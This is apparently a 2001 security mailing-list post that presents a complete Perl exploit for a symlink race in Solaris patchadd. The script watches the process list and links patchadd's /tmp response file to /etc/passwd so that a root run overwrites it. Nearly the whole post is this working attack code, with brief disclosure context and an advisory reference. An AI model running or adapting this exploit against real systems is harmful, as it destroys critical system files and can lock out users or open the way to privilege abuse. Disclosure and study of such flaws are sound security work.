Solaris Patchadd symlink exploit.

From: Larry W. Cashdollar (lwcat_private)
Date: Mon Aug 27 2001 - 09:17:52 PDT

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    Here is an exploit to an old bug for patchadd in Solaris.   It exploits a
symlink vulnerability to clobber files with output from patchadd.  This
was written and tested on Solaris 2.8 Sparc with the current patch cluster 
applied.


-- Larry
   http://vapid.dhs.org:8080




<----Begin perl---------------------------------------------------------->

#!/usr/local/bin/perl
#Exploit for patchadd Solaris 2.x. Symlink /tmp file creation 
#vulnerability
#patchadd creates files in /tmp with mode 644 that can be used to clobber
#system files when executed by root.
#Larry W. Cashdollar
#http://vapid.dhs.org:8080
#See BID http://www.securityfocus.com/bid/2127
#Discovery credit: Jonathan Fortin jfortinat_private
#Tested on SunOS smackdown 5.8 Generic_108528-10 sun4u sparc SUNW,Ultra-5_10

use strict;

my $NOISY = 1; # Do you want quiet output?
my $clobber = "/etc/passwd";

print "Listening for patchadd process...\n" if ($NOISY);

while(1) {
  open (ps,"ps -ef | grep -v grep |grep -v PID |");

 while(<ps>) {
   my @args = (split " ", $_);

     if (/patch/) { 
	print "Targeting PID $args[1] and symlinking response.$args[1] to  
$clobber\n" if ($NOISY);
	symlink($clobber,"/tmp/response.$args[1]");
	exit(1);
      }
 }

}

<----end perl---------------------------------------------------------->

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